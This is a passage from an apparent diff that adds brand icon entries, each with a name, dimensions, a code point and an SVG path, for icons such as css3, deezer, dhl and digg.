0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z" ], + css3: [ 512, 512, [], "f13c", "M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z" ], + "css3-alt": [ 384, 512, [], "f38b", "M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z" ], + cuttlefish: [ 440, 512, [], "f38c", "M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z" ], + "d-and-d": [ 576, 512, [], "f38d", "M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z" ], + "d-and-d-beyond": [ 640, 512, [], "f6ca", "M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z" ], + dailymotion: [ 448, 512, [], "e052", "M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z" ], + dashcube: [ 448, 512, [], "f210", "M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z" ], + deezer: [ 576, 512, [], "e077", "M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z" ], + delicious: [ 448, 512, [], "f1a5", "M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z" ], + deploydog: [ 512, 512, [], "f38e", "M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z" ], + deskpro: [ 480, 512, [], "f38f", "M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z" ], + dev: [ 448, 512, [], "f6cc", "M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z" ], + deviantart: [ 320, 512, [], "f1bd", "M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z" ], + dhl: [ 640, 512, [], "f790", "M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z" ], + diaspora: [ 512, 512, [], "f791", "M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z" ], + digg: [ 512, 512, [], "f1a6", "M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 